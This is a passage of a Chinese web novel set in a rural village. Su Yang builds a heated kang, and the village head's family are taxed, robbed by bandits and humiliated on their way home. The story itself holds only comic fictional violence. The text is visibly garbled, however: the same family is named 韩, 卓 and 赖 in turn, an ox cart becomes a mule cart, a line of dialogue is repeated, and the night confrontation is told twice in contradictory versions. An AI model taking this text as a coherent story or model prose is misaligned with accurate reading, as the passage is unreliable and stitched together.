苏阳撇了撇嘴,说道。 “炕烧起来,整个屋子都暖和,火盆呢?就烤着那一小块地方,能顶啥用?” “再说了,火盆多费柴火啊,炕呢?烧火做饭的时候,顺带着就把炕烧热了,一举两得!” 苏阳的一番话,说得头头是道。 村民们听了,却还是一脸的疑惑。 “苏二,你说的这炕,真有那么好?” 一个村民半信半疑地问道。 “好不好,等过两天你们就知道了。” 苏阳笑着说道。 “到时候,你们都来我家试试,保准让你们暖和得不想出门!” “都让让,让让,别在这儿围着了!” 王婶挤进人群,开始维持秩序。 她虽然也不太相信苏阳盘的炕能有多好。 但作为苏阳手下头号大将的母亲,她必须维护苏阳的权威。 其他几个小子的家人,也纷纷站了出来,帮着王婶一起维持秩序。 “俺家娃说了,阳哥儿这么做,肯定有他的道理!” “就是,你们懂啥?别在这儿瞎打听!” “都散了,散了,别耽误阳哥儿干活!” …… 村民们渐渐散去,院子里恢复了平静。 “苏二这小子,最近是越来越邪乎了,得想个办法治治他!” 远处,赖志成望着苏阳家,眼中闪过一丝阴狠。 他远远地看着苏阳家门口的人群散去,心里却越来越不安。 他感觉到,一股无形的力量,正在青龙村悄然生长。 而这股力量的源头,正是那个让他越来越看不透的苏二……灶台和暖榻完工那天,苏阳特意把林绮娘叫到跟前,千叮咛万嘱咐,点火的时候千万小心。 第八十三章 “绮娘,这可是新灶,头一回烧火,可不敢大大咧咧的!火大了容易把灶台烧裂。咱得用小火苗慢慢烘着,让热气一点点儿地往外拱,把里面的湿气全赶出来,往后才结实,才好用!” 林绮娘听得认真,轻轻点了点头,应了一声,从灶门口的柴堆里挑了几根最细的树枝,小心翼翼地塞进灶膛。 火苗儿轻轻地舔着锅底,厨房里慢慢地就暖和了起来。 苏阳看着微微跳动的火苗,嘴角露出一丝笑意。 林绮娘也松了口气,转头看向苏阳:“阳哥儿,这厨房里暖烘烘的,不正好发豆芽吗?” “嗯,我也是这么想的。”苏阳笑着,把几个早就准备好的破缸搬了进来。 破缸里面已经铺好了几层湿布,是专门用来培育豆芽的。 “这次咱们一半黄豆,一半绿豆,都试试,看看城里人到底喜欢哪一种。” 青龙村的冬天,除了日常的训练,也没什么要紧的农活。 苏阳带着手下的一帮小子,整日在村里演练武艺。 长枪如林,挺刺如风,弓弩齐发,箭矢破空,刀光闪烁,寒光照胆,盾牌撞击,声震四野…… 一时间,平日里安静的青龙村,也充满了肃杀之气。 当然,苏阳大部分时间还是花在了骑马上。 没办法,谁让他现在是村里唯一的“骑兵”呢。 那匹从劫匪手里缴来的老马,最近可是遭了老罪了。 每天被苏阳这个菜鸟骑来骑去,鞍前马后,四蹄生风,累得够呛。 马要是会说话,估计早就破口大骂,问候苏阳八辈祖宗了。 看着苏阳骑着马在村里嘚瑟,一天能跑八个来回,韩家父子眼红得要滴血。 特别是赖守仁和赖守义这对兄弟,不止一次地在背后嘀咕,恨不得把苏阳从马上拽下来,他们自己上去过过瘾。 苏阳偶尔会想起前世看过的一部电影,电影里,主角在马背上驰骋的英姿,让他羡慕不已。他也曾幻想,自己有一天能像电影主角一样,成为一名真正的骑兵。 苏阳前世虽然是农学博士,可他跟着导师也算见过世面。 他那个爱好广泛,却唯独对专业不上心的导师,就喜欢鼓捣这些。 为了满足自己的爱好,导师以研究为名,搞了个马场,还真弄了几匹品相不错的马来。 虽然后来,导师用一篇不知所苏的论文,敷衍了事,马也不知去向,八成进了谁的肚子。 不过在那之前,苏阳没少跟着去马场,也学了点骑术皮毛,甚至还蹭了几节骑术课。 可惜,书本上的知识再多,也比不上实践。 面对这匹有些倔脾气的老马,苏阳那点三脚猫的功夫,根本不够看。 他现在顶多算能骑在马上不掉下来,离在马上表演个“百步穿杨”还差着十万八千里呢。 这天,苏阳正骑着马在村里瞎溜达,赖志成忽然领着两个崽,气势汹汹地拦住了他的去路。 “苏二,你小子到底啥时候进城?” 赖志成仰着头,看着高高在上的苏阳,心里那叫一个憋屈。 他感觉自己脖子都快仰酸了,可苏阳却像没看见他一样,依然稳稳地坐在马背上。 苏阳微微低头,居高临下地看着赖志成,嘴角挂着一丝玩味的笑: “卓村正,您老人家这是怎么了?火气这么大?不好意思啊,我最近真没打算进城。” “啥?” 赖志成一听就急了,胡子都气歪了,指着苏阳的鼻子就开始数落: “你小子不进城,我辛辛苦苦弄的那些鱼咋办?眼瞅着就要臭了,你赔我啊?” 原来,赖志成这阵子也没闲着,正在狠狠地压榨小弟们,辛辛苦苦弄了三百多斤鱼。 这下好了,苏阳说不进城,他的鱼眼瞅着就要砸在手里,能不急吗? 苏阳当然记得赖志成的“好”。 当初自己刚从城里回来,这老家伙就在背后挑拨离间,说自己吃独食,不给手下好处。 后来招人的时候,还故意捣乱,吓跑了两个新人。 现在,苏阳就是要给他点颜色看看。 让你知道,青龙村不是你韩家一手遮天! 想赚钱? 行啊,先把你那村正的臭架子给老子放下! 所以,不管赖志成怎么说,怎么骂,苏阳就一句话: “最近不进城,过几天再说。” 说完,苏阳还故意拍了拍马屁股,一副“你能奈我何”的模样。 实际上,苏阳不进城还有别的原因。 一来,新灶台和暖榻刚干,还需要几天才能彻底稳固。 二来,种的豆芽还没发芽,为了几百斤鱼专门跑一趟,实在不划算。 更重要的是,苏阳想避避风头。 每回进城都碰上打劫的,已经有这么多人命丧黄泉,谁也不清楚现在外边啥状况? 稳妥起见,还是再等等为妙,安全第一! 苏阳不进城,赖志成也拿他没招。 苏阳手下那些年轻人,连同他们的亲眷,已经抱成团,拧成了一股绳,可不是好惹的。 明着来,赖志成还真不敢,万一惹恼了这帮人,往后还咋在村里立足? “爹,要不……咱们自己去?”赖守仁突然凑到赖志成耳边,出了个主意。 “自己去?”赖志成一愣,眼睛却亮了起来。 对啊,苏二不去,咱爷仨自己去!我就不信了,没了他苏二,咱还卖不出鱼了? “好,就这么办!回去准备,明天一早就走!”赖志成狠狠地一拍大腿,做了决定。 上次进城,韩家父子可吃了不少苦头,还被一群刁民给耍了。 一想起这事,赖志成就气不打一处来。 这次,他非得找回场子,把鱼卖个好价钱不可,也好让苏二那小子开开眼! 不过,赖志成可没打算找凤子楼的肥掌柜算账,他只想赶紧把鱼卖了,能赚多少算多少。 次日清晨,天刚蒙蒙亮,韩家父子就忙活开了。 他们把鱼仔细地装上牛车,又检查了一遍,确定没什么遗漏,这才赶着牛车,匆匆忙忙地出了村。 赖守仁一边赶车,一边回头张望,嘴里还骂骂咧咧的:“苏二,你个王八蛋,等老子回来再收拾你!” 进了城,几个守城的兵痞一眼就认出了他们。 “哟,这不是上次那几个冤大头吗?又来给咱们送银子了?”一个兵痞嬉皮笑脸地说道。 上次,赖志成自以为聪明,搬出村正的身份,还扯上了衙门书吏,少交了不少进城税。 这次,几个兵痞可不吃他这一套了。 在他们眼里,什么村正、书吏,统统都是放屁! “规矩你们都懂,还用老子多说吗?”另一个兵痞把手里的长枪往地上一顿,恶狠狠地说道。 第八十四章 赖志成一看这架势,就知道今天这银子是省不了了,只能哭丧着脸,乖乖地掏钱。 “几位军爷,行行好,我们真是乡下来的,没几个钱,上次不是都交过了吗?” “少废话!上次是上次,这次是这次!再啰嗦,老子把你们的鱼都没收了!” 赖志成吓得一哆嗦,再也不敢多说一句,数出二两银子,双手奉上。 刚进城就先损失了二两银子,韩家父子的心都在滴血。 可他们不敢怪这些兵痞,只敢在心里把苏阳骂了个狗血淋头。 “都怪苏二那个挨千刀的,要不是他不肯进城,咱们哪会受这份窝囊气!”赖守义气得直跺脚。 出了这档子事,赖志成也学精了,不敢再往人多的地方去。 他想起上次在长安街的遭遇,心有余悸,生怕再遇上那些不讲理的刁民。 思来想去,赖志成决定去衙门附近碰碰运气。 他心想,衙门口总该太平点吧?那些人再大胆,也不敢在官老爷眼皮子底下闹事。 于是,韩家父子赶着牛车,绕了好几个弯,才来到衙门附近的街道。 可让他们没想到的是,这里虽然没有刁民,却比长安街还要凶险! 他们刚把牛车停稳,还没来得及吆喝两声,就有一个穿着公服的人走了过来。 “你们是干什么的?”那人上下打量着韩家父子,语气不善地问道。 “官爷,我们是乡下来的,想卖点鱼。”赖志成点头哈腰地说道。 “卖鱼?交税了吗?”那人眼睛一瞪,大声喝道。 “交……交过了。”赖志成结结巴巴地说道。 “交过了?在哪交的?拿凭证给我看看!”那人根本不信。 赖志成傻眼了,他哪有什么凭证? 进城的时候,那几个兵痞只管收钱,可没给他们开什么凭证。 “官爷,我们真交过了,不信您去问问那几个守城的兵爷。”赖志成急忙解释道。 “少废话!我管你在哪交的,到了我这,就得再交一份!”那人蛮横地说道。 “这……这是什么道理?”赖志成气得浑身发抖。 “道理?在这,老子就是道理!”那人冷笑一声,说道,“一两银子,少一个子儿都不行!” 赖志成彻底绝望了,他知道今天这银子是省不了了。 他颤抖着双手,从怀里掏出一两银子,递给那人。 那人接过银子,掂了掂,这才满意地走了。 可他刚走没多久,又来了一个穿着类似公服的人,同样要收税。 赖志成这下可真是欲哭无泪了。 他这才明白,衙门口也不是那么好混的。 这些人摆明了就是欺负他们是外乡人,想方设法地要从他们身上榨油水。 短短一个时辰,韩家父子就被收了三次税。 每次都是一两银子,而且连个收据都没有! 赖志成的心都在滴血,他这辈子都没这么憋屈过。 眼看着带来的银子越来越少,鱼却一条都没卖出去,韩家父子彻底没了脾气。 这里的人根本不知道鱼的做法,就算白送他们,他们都不会要。 眼看日头渐渐偏西,再不回去,就要摸黑走夜路了。 韩家父子商量了一下,决定还是打道回府。 临走前,赖守仁狠狠地往地上啐了一口,骂道: “什么狗屁地方!连个买鱼的都没有,还不如咱们青龙村呢!” 走在路上,赖志成突然想起一件事,脸色顿时变得煞白。 “前边……前边是不是虎啸林?”夜幕低垂,清阳县外的虎啸林,像一头蛰伏的巨兽,黑黢黢的,透着一股子阴森。 “爹,前……前边,是不是……就是虎啸林?” 赖守义的声音都劈叉了,两条腿肚子直抽抽,舌头更像是打了结。 赖志成心头也是一紧,额角青筋跳了跳,可还是强撑着,硬挤出一个字:“嗯。” 话音未落,一阵急促的脚步声,像催命的鼓点,由远及近。 树影婆娑,一群黑影从林子里猛地窜出来,手里都拎着家伙,一个个凶神恶煞,脸上的横肉都在颤,一看就不是善茬。 “坏了,是劫匪!” 赖志成倒吸一口凉气,这虎啸林果真是块凶地,出门没看黄历,撞邪了! 他好歹是上过战场的人,还能勉强绷住,脸色虽然发白,可腰杆还算挺直。 再瞅瞅自家那俩儿子,一个比一个熊。赖守仁抖得跟筛糠似的,筛糠好歹还动呢,他简直就是一堆烂泥。赖守义更是不堪,一张脸煞白,嘴唇子都哆嗦成紫茄子了,像是刚从冰窖里捞出来。 压根儿没等劫匪们开口,平日里在村里横行霸道,天不怕地不怕的赖守义,膝盖一软,“扑通”一声就跪下了。 他这一跪不要紧,还带倒一片,直接把身边的赖守仁也给带翻了。 “大佬高抬贵手!饶命啊!小的上有八十老母卧床不起,下有三岁小儿嗷嗷待哺……” 赖守义一把鼻涕一把泪,脑袋磕得跟捣蒜似的。 赖守仁也回过神来,连滚带爬地跪好,也跟着磕头求饶:“好汉爷爷,要什么您尽管拿,求求大佬放我一马……小的家里还有几亩薄田……” 赖志成这个气啊,恨不得一脚一个,把这两个丢人现眼的玩意儿踹回娘胎里去。 平时在村里,这俩小子不是挺能耐的吗?怎么一碰上真格的,就怂成这德行?连句完整话都说不利索了! 可眼下这情形,硬撑着也没用。赖志成眼珠子一转,罢了,今儿个就给这俩没出息的儿子好好上一课,让他们见识见识,啥叫“大丈夫能屈能伸”! 只见赖志成深吸一口气,猛地一收腹,膝盖顺势一弯——“扑通”! 那姿势,那叫一个标准,那叫一个干脆,比他俩儿子跪得还快! “大佬高抬贵手!小老儿上有八十老母,下有嗷嗷待哺的孩子,家里穷得都揭不开锅了……全家就指望我这几根老骨头……” 赖志成鼻涕一把泪一把,那哭嚎声,真叫一个撕心裂肺,比死了亲爹还悲痛。 这一通操作,直接把一众劫匪给整蒙了。 为首的那个,眼珠子瞪得溜圆,上下打量着赖志成,那眼神,跟看怪物似的。 还是他身边的狗腿子反应快,一脚踹在赖志成屁股上:“少他娘的废话!把值钱的玩意儿都给老子交出来!” 几个喽啰一拥而上,把韩家父子三人从头到脚摸了个遍,连鞋底子都没放过。 “呸,穷鬼!” 搜了半天,别说银子,连个铜板儿都没摸出来,劫匪头子狠狠啐了一口。 几个喽啰也是气不打一处来,对着韩家父子仨就是一顿拳打脚踢。 “哎哟… 第八十五章 …别打了……大佬高抬贵手……” “再打就出人命了……” 韩家父子仨被打得抱头鼠窜,鬼哭狼嚎,那叫一个惨。 眼瞅着这帮劫匪真动了杀心,赖志成被打得鼻青脸肿,脑瓜子却转得飞快,他必须得想个法子脱身。 他眼珠子一转,一个“祸水东引”的毒计涌上心头,扯着嗓子喊道: “好汉爷爷!好汉爷爷!兄弟已经身无分文,都让那些黑心的官差给搜刮去了!不过村里倒是有个土豪!” 他顿了顿,又赶紧补充:“只要好汉爷爷放了我们,我……我保证带你们去发财,那家人可肥了,金山银山都堆不下!” 一听有“肥羊”,劫匪头子眼睛都绿了,一把揪住赖志成的衣领子,恶狠狠地问: “你小子说的是真的?要是敢耍花样,老子现在就把你剁碎了喂狗!” “不敢不敢!借小老儿一百个胆儿,也不敢骗好汉爷爷啊!” 赖志成脑袋摇得跟拨浪鼓似的,就差指天发誓了,“小老儿这条命都是好汉爷爷的,哪敢有半点虚言!” 几个劫匪凑一块儿嘀咕了一阵。 最后,劫匪头子一挥手,让人把赖守仁给捆了,五花大绑,跟捆粽子似的。 又指着赖志成父子俩,吐沫阳子横飞:“你们俩,给老子回去通风报信!要是敢耍花招,不光是他,连你们全家都得死!” 本想让这父子俩直接带路,可赖志成是什么人? 三言两语,就把这帮头脑简单、四肢发达的劫匪给忽悠瘸了。 他先是哭诉村里人不好惹,个个都是滚刀肉,硬抢容易出人命。然后又说,不如守株待兔,等那个“有钱人”出村的时候再动手,保证一逮一个准,神不知鬼不觉。 劫匪们一琢磨,觉得这话在理,这才放了赖志成父子。 当然,临走前,又是一顿好打,打得那叫一个“皮开肉绽”,让赖志成父子充分体会到了什么叫“社会的毒打”。 “呸!晦气!”劫匪头子啐了口唾沫,骂骂咧咧地走了。 …… 夜色如墨,伸手不见五指。 赖志成和赖守义两人,一瘸一拐,互相搀扶着,跌跌撞撞地往青龙村摸去。 牛车被抢了,还挨了一顿胖揍,两人心里那叫一个憋屈,像是吃了苍蝇一样难受。 可一想到能把村里那个“有钱人”给坑了,两人心里又莫名地舒坦了些,甚至还有点小得意。 “嘿嘿,这下看那姓苏的还怎么嚣张!”赖守义咬牙切齿地说。 “咣!咣!咣!” 就在这时,一阵急促而刺耳的锣声,像炸雷一样,在寂静的夜里猛地响起,把两人吓得一个激灵。 紧接着,从小路旁边的树林子里,窜出来一群黑影。 还没等韩家父子看清来人,就被这群黑影给围了个水泄不通,手里的棍棒在月光下闪着寒光。 这突如其来的变故,把韩家父子吓得三魂丢了七魄,差点没尿裤子。 “大佬高抬贵手!兄弟已经穷得叮当响!真的!刚被人洗劫一空……身上的银子都被抢光了……” 赖志成扑通跪地,头磕得梆梆响,嘴里还不住地解释,那熟练的动作,一看就是“惯犯”。 “好汉爷爷,我们村里真有人有钱!要不……我带你们去抢他!那家可富了,保证比抢我们强一百倍!” 赖守义也跟着“扑通”跪下,一把鼻涕一把泪地哭诉,那演技,不去唱戏都可惜了。 这一出“苦肉计”,让埋伏在此的一群人面面相觑,一个个都愣在了原地,不知道该说什么好。 话说,今儿个晚饭后,苏阳吃饱了撑得慌,突发奇想,准备来波午夜惊魂。 他琢磨着,得让手下这帮小子们适应适应在黑灯瞎火里行动,万一哪天真碰上个土匪夜袭啥的,也不至于抓瞎。 可他刚带着人出了村,还没走几步呢,就隐隐约约听到远处传来一阵脚步声。 那脚步声很杂乱,还夹杂着粗重的喘息声,仔细听,好像还有人哎哟哎哟地叫唤。 苏阳心里立马警觉起来。 这大晚上的,黑灯瞎火,谁会往村子这边来? 该不会是青虎岭上的那帮土匪来踩盘子了吧?听说那帮孙子最近挺猖狂的。 想到这儿,他不敢大意,一挥手,带着人,悄没声息地躲进了路边的小树林,准备先观察观察情况。 苏阳特意叮嘱众人,别出声,都藏好了,等看清楚了再说。 为了防止有人掉队,他出门的时候,特意跟石头家借了一面破锣。 万一真碰上土匪了,敲锣也能壮壮声势,把人吓跑。 等对方走近了,苏阳他们才隐隐约约看清,是两个黑影,正一瘸一拐地往这边走。 对方只有俩人,可自己这边有十来个,即便是山大王的眼线,苏阳也不带怕的。 他正琢磨着怎么给这俩人来个“下马威”呢,突然就听到了那阵“惊天地泣鬼神”的锣声。 苏阳一愣,心想这是谁啊,这么不听指挥? 可接下来的一幕,让他差点没把眼珠子给瞪出来。 只见那俩黑影,竟然直接就给跪了! 还一个劲儿地磕头求饶! 说什么“刚被劫过”? 还说什么“村里有人有钱”? 这都哪儿跟哪儿啊? 苏阳越听越觉得这俩人的声音耳熟,好像在哪儿听过。 他眯起眼睛,仔细一瞧…… “我……我去!这……这不是韩家那俩活宝吗?” 苏阳差点没惊掉下巴。 大半夜的,这俩货不睡觉,跑村外头干啥来了? 还被人给劫了?看这样子,被打得还不轻。 苏阳心里那叫一个乐呵,强忍着才没笑出声来。 “咳咳……”他清了清嗓子,朝身后的人做了个噤声的手势,示意大伙儿都别出声。 他倒要听听,这俩货到底要搞什么幺蛾子。 “村里除了你们韩家,谁还能富得流油?” 苏阳故意压低了嗓子,沉声问道,声音里还带着一股子阴森劲儿,活脱脱一个“黑社会老麻”的架势。“村里除了你们韩家,还能有谁算得上有钱人?” 苏阳故意压着嗓子,声音低沉沙哑,还带着一股子阴森劲儿,活脱脱一个“黑社会”头目。 他心里其实早就乐开了花。 这卓氏父子,八成是路上真撞上了劫匪,吓得魂飞魄散,误把自己这帮人当成了“同道中人”。 慌乱之中,他们嘴里的话,虽说不能全信,但有些心思,却是无论如何也藏不住的。 就比如,赖小二那句“带劫匪去劫村里有钱人”。 除了他们韩家,村里还能有谁家底最丰厚? 除了他苏阳,还能有谁! 好,好得很! 平日里只知道你们心眼儿坏,却没想到竟然这么坏,坏到骨子里了,居然琢磨着带劫匪来洗劫自己村里的乡亲! 第八十六章 简直是坏事做绝,丧尽天良! “嗯……” 苏阳耳朵微微一动,隐约捕捉到了村子方向传来的动静,声音很细微,像是有人在低声啜泣。 “隐约感觉有人靠近。”他低声嘟囔了一句,同时示意陈木生他们几个打起精神。 话音刚落,就见几个人影跌跌撞撞地从村里跑了出来,当先一人身形臃肿,手里还提着一根擀面杖,边跑边哭嚎: “天杀的啊!这是要逼死我们娘几个啊!” “是赖志成的婆娘!”陈木生眼尖,一下子就认出了来人。 跟在她身后的,是她的小姨子,还有几个平日里在韩家帮闲的泼皮。 这几个人手里也都没空着,不是拿着烧火棍,就是拎着菜刀,一个个气势汹汹,像是要找人拼命。 这大半夜的,他们怎么会突然从村里跑出来? 苏阳心里正纳闷,就听赖志成的婆娘扯着嗓子哭喊起来: “当家的!你们这是咋了?这是被哪个天打雷劈的给祸害了啊!” 原来,赖志成父子仨一大早就赶着骡车进了城,说是要去办点事。 可这日头都落山了,还不见人影,连个信儿都没有。 这可把赖志成的婆娘和她的小姨子给急坏了。 这年头,兵荒马乱的,万一在路上出点啥事,那可咋办? 两个女人越想越害怕,正商量着要不要去村口看看的时候,不知从何处传来阵阵锣鸣。 这锣声,一声紧似一声,像是催命的鼓点,敲得人心慌。 两人顿时就慌了神,以为是出了什么大事。 也顾不上许多,赶紧招呼上几个帮闲,抄起家伙就往村口跑,想出来看看情况。 另一边,赖志成父子也终于回过神来。 韩家不缺吃喝,父子俩养尊处优,哪有什么夜盲症? 借着月光,他们越看眼前这帮人越觉得眼熟。 尤其是那个站在最前面的大个子,这身板,这架势…… “王……陈木生?”赖志成试探着喊了一声,声音都在打颤。 他这一嗓子,总算是把自己的魂儿给喊回来了。 再一看,陈木生身边站着的那个半大小子,不是苏二那个小兔崽子还能是谁?! “苏……苏阳?”赖守义也跟着哆嗦起来,声音里带着一股子哭腔。 几个帮闲骂骂咧咧地举着火把凑了上来。 火光下,眼前的情形让所有人都倒吸了一口凉气。 只见苏阳带着十几个半大小子,一个个手里都拎着明晃晃的家伙什。 刀、枪、棍棒……甚至还有几张弓弩! 而在他们面前,赖志成父子俩正跪在地上,浑身是土,鼻青脸肿,像是刚从泥坑里捞出来一样。 “这……这是咋回事?” “村正……你们这是……” 几个帮闲都傻了眼,你看看我,我看看你,谁也说不出话来。 赖志成一张老脸涨成了猪肝色,他想站起来,可腿肚子却一个劲儿地打颤,怎么也使不上劲。 他想开口解释,可话到嘴边,又不知道该说些什么。 难道要告诉大伙儿,自己刚才把苏阳他们当成了劫匪,还一个劲儿地磕头求饶? 这张老脸还要不要了? 他越想越觉得丢人,恨不得找个地缝钻进去。 赖守义也没比他爹好到哪儿去。 他平日里在村里作威作福惯了,什么时候受过这种窝囊气? 这会儿,他只觉得脸上火辣辣的,像是被人狠狠抽了几百个耳光。 羞愤、恼怒、恐惧……各种情绪交织在一起,让他几乎要发疯。 “苏二!你个小兔崽子!你敢打我?” 赖守义突然跳了起来,指着苏阳的鼻子破口大骂。 “我打死你个狗东西!” 赖志成的婆娘也反应了过来,她尖叫一声,挥舞着擀面杖就朝苏阳扑了过去。 “住手!” 苏阳一声断喝,声若惊雷,把所有人都给震住了。 他冷冷地扫了韩家人一眼,沉声说道: “卓村正,你可真是贵人多忘事啊!” “刚才要不是我们出手相救,你们父子俩的小命,恐怕早就交代在这儿了!” “怎么?现在脱了险,就翻脸不认人了?” 苏阳这几句话,说得掷地有声,铿锵有力。 赖志成父子俩听了,却是脸色煞白,冷汗直流。 他们心里跟明镜似的,苏阳说的“出手相救”,指的根本不是刚才的事情。 而是指他们之前带着“劫匪”进村的杀心! 苏阳这是在警告他们! “苏二……你……你别胡说八道!” 赖守义色厉内荏地吼道。 “我胡说八道?” 苏阳冷笑一声, “要不要我把刚才发生的事情,原原本本地跟大伙儿说一遍?” “让大伙儿评评理,看看究竟是谁在胡说八道?” 赖守义顿时就哑了火,他张了张嘴,却一个字也说不出来。 赖志成更是吓得魂飞魄散,他生怕苏阳真的把刚才的事情说出来,赶忙冲着自家婆娘和小姨子使眼色,示意她们别再闹了。 “误会!都是误会!” 赖志成腆着脸,冲着苏阳一个劲儿地赔笑。 “苏二啊,你看这大晚上的,闹出这么大的动静……” “都是乡里乡亲的,有话好好说,别伤了和气……” 他一边说着,一边偷偷给几个帮闲使眼色,示意他们赶紧把自家婆娘给拉回去。 几个帮闲也看出了不对劲,赶忙上前,连拉带拽地把赖志成的婆娘给弄走了。 一场闹剧,就这么草草收场。 可苏阳心里却清楚,这事儿,还没完。 卓氏父子心狠手辣,睚眦必报,今天吃了这么大的亏,肯定不会善罢甘休。 尤其是赖守义,这小子心胸狭窄,又蠢又坏,指不定会想出什么阴招来对付自己。 “看来,得想个法子,彻底解决这个后患才行……” 苏阳眯起眼睛,心里暗暗盘算着。 而另一边,陈木生和路旭东几个,看向卓氏父子的眼神,也变得越来越冰冷。 他们都是上过战场,见过血的,最恨的就是这种背后捅刀子的卑鄙小人。 如果不是苏阳一直拦着,他们早就忍不住要动手了。 “苏哥,这事儿就这么算了?” 陈木生压低声音,愤愤不平地问道。 “怎么可能?” 苏阳冷哼一声, “这笔账,迟早要跟他们算清楚!”“你们这帮短命的土匪!等天亮,老子就去报官,把你们一个个都抓起来!” 青龙村的百姓平日里看著憨厚老实,可骨子里也透著一股子拧劲儿。 平时受点小委屈,他们大多能忍气吞声。 但你要真把他们逼到墙角,这些老实人发起狠来,那是真敢跟你拼命的! 赖守义这两句话,等于直接判了陈木生他们的死刑。 活路眼看就要被堵死,谁还跟你讲什么规矩? 第八十七章 更何况,现在的陈木生他们,早就不是当初那些任人欺负的庄稼汉。 战场上走了一遭,手里见了血,他们的胆气早就壮了起来。 路旭东的眼神变了,孔远山的气势也变了。 兔子急了还咬人呢! 卓氏父子这是要掘他们的根,他们凭什么不反抗? 偏偏赖守义还没意识到问题的严重性,依旧在那儿指手画脚,口沫横飞: “哈哈,苏二,终于轮到你倒霉了?” 他一个箭步冲到苏阳跟前,脸上尽是报复的快感, “来来来,让老子好好‘伺候伺候’你!” “我倒要看看,你这小白脸是不是真像石头一样硬气……” 话音未落, “啪!” 一个清脆的耳光,直接打断了赖守义的嚣张气焰。 出手的,不是苏阳,而是他亲爹,赖志成! 这突如其来的一巴掌,把赖守义直接打懵了。 他捂着脸,难以置信地看着自家老爹, “爹,你……你打我?” “我不光要打你,我还要打死你个不长眼的混账东西!” 赖志成气得浑身发抖,抬手又要打。 他心里清楚得很,再让赖守义胡咧咧下去,他们全家都得跟着陪葬! 看看苏二那帮人,一个个手里都提着家伙,那架势,像是善茬吗? 你还上赶着挑衅,不是嫌命长吗? 赖志成这一巴掌,虽然没把赖守义打醒,却也让他稍微收敛了一点。 他偷偷朝苏阳那边看了一眼。 只见苏阳面沉似水,看不出喜怒。 他手下那帮人,也都一个个绷着脸,像一尊尊杀神! 最让赖志成心惊的是,陈木生他们手中的弩箭,不知何时已经齐刷刷地对准了他们父子。 借着火光,他能清晰地看到那几个小子通红的眼睛里,跳动着疯狂的火焰! 这是……要拼命的节奏啊! 刚从战场上下来,又亲手杀了那么多人,看似孔远山他们已经恢复如常,可实际上呢? 那种从鬼门关走过一遭的经历,早就把他们心底的凶性给激发了出来。 如今被卓氏父子相逼,恐惧混杂着愤怒,几个小子心中的那根弦,随时都有可能崩断! 就在这千钧一发之际,赖守义还嫌不够乱,又开始作死: “爹,你咋能打我呢?就算我话说得重了点,可也没说错啊!” 他指着苏阳等人, “这帮人一看就不是什么好鸟,咱们就该把他们交给官府,让他们尝尝厉害……” “你个蠢货,给老子闭嘴!” 赖志成被吓得魂不附体,他顾不上儿子身上有伤,一把揪住赖守义的衣领,挥拳就打! 他这一拳,直接打在了赖守义的腮帮子上,打得他口鼻窜血,惨叫连连。 赖守义刚想挣扎,只觉得后颈一凉,紧接着眼前一黑,就什么也不知道了。 赖志成这一招也是迫不得已。 他很清楚,现在能救他们全家性命的,只有苏阳。 可惜,他婆娘却是个拎不清的。 眼看着自家男人把儿子打得昏死过去,这婆娘顿时就炸了庙,像一头发了疯的母牛,朝着赖志成猛扑过去,又踢又打! “你个老不死的,敢打我儿子,老娘跟你拼了!” 赖志成早已带伤在身,刚才又耗费了不少力气,哪架得住这肥婆的疯狂攻击? 没几下就被挠得满脸开花,疼得他嗷嗷直叫! 赖志成的小姨子被这突如其来的变故吓得够呛,手忙脚乱地想要上前劝架。 几个帮闲见状,也赶紧过来帮忙。 乱作一团中,总算把赖志成的老婆给拉开了。 混乱中,她的鞋都不知道被谁给踩掉了,光着一只脚,狼狈不堪。 不过,要说最倒霉的,还得数赖志成的小姨子。 也不知道是哪个不长眼的,趁乱摸了一把,竟然把她新做的衣裳给扯了个大口子! 胸前春光乍泄,差点没让她羞愤得一头撞死! 这乱糟糟的一幕,把韩家人彻底折腾得精疲力尽。 而另一边,陈木生、孔远山他们几个,全都死死地盯着苏阳,大气都不敢出。 只要苏阳一句话,哪怕只是一个眼神,他们必定会立马冲锋陷阵,把卓氏父子碎尸万段! 留着这种祸害,难道还等着他们反咬一口? 可最终,他们还是没能等到苏阳的命令。 苏阳缓缓摇了摇头,示意他们稍安勿躁。 他并非优柔寡断,而是在权衡利弊之后,认为现在动手还不是时候。 一来,几个新来的小子还未彻底归心,难保不会有人走漏消息。 二来,苏阳隐约听到村子里传来一阵阵喧闹声,似乎有人正在朝这边赶来。 果然,没过多久,就传来一阵嘈杂的脚步声和呼喊声。 村里锣鼓喧天,人声鼎沸,不少村民都被惊动,纷纷跑出来查看情况。 人多眼杂,更不适合动手了。 陈木生他们这才恍然大悟。 原来苏阳不是胆小怕事,而是早有预料! 不愧是二哥的风范,这份冷静和智慧,我们真是望尘莫及! 其实,倒也不是苏阳耳力过人,而是陈木生他们把全部注意力都放在了卓氏父子身上,而苏阳关注的,却是整个环境的变化。 这么多人朝这边涌来,赖志成那颗悬在嗓子眼的心总算是落回了肚子里。 谢天谢地,总算是保住了一条老命! 可他这口气还没松完,只觉得眼前一黑,身体一软,也一头栽倒在地,不省人事。 眼瞅着自家男人和儿子双双倒地,不知死活,赖志成的夫人岂能善罢甘休? 她肥硕的身躯猛地一转,像一头发怒的母狮子,恶狠狠地瞪着苏阳,声嘶力竭地吼道: “苏二,你个小畜生,是不是你干的好事?” “老娘的男人和儿子要是有个三长两短,我跟你没完!” 这突如其来的变故,再加上赖志成老婆的这一通叫嚷,让原本就紧张的气氛变得更加诡异。 村民们看着苏阳的眼神,也变得复杂起来。 “这苏二,平时看着挺老实的一个孩子,咋这么能惹事呢?” “可不是嘛,连村正都敢打,这胆子也太大了!” “你们看他手底下那帮人,一个个凶神恶煞的,手里还拿着家伙,该不会真是土匪吧?” “嘘,小点声,别让那帮人听见了,小心他们杀人灭口!” 村民们虽然没有明说,但眼神里的猜忌和恐惧,却是显而易见的。 他们看着苏阳等人手里明晃晃的武器,众人被吓得面如土色,噤若寒蝉。 苏阳何等敏锐? 他一眼就看穿了村民们的心思。 我擦! 自己一个根正苗红的好青年,居然被当成了打家劫舍的土匪? 这锅,咱可不背!“赔钱!你个小兔崽子,今儿个要是不给老娘赔钱,等我家男人醒了,非报官把你这帮杀千刀的土匪碎尸万段… 第八十八章 …” 赖志成家的婆娘越骂越难听,什么污言秽语都往外蹦。 她那张肥脸因为愤怒而扭曲得不成样子,唾沫阳子喷得老远,一只粗短的手指头几乎要戳到苏阳脸上。 苏阳的脸色越来越冷。 啪! 一声脆响,打断了赖志成家婆娘的叫骂。 苏阳这一巴掌可是用了十足的力气,直接把那婆娘抽得原地转了个圈。 要不是这婆娘实在太胖,下盘太稳,苏阳真想让她体验一把什么叫“爱的魔力转圈圈”。 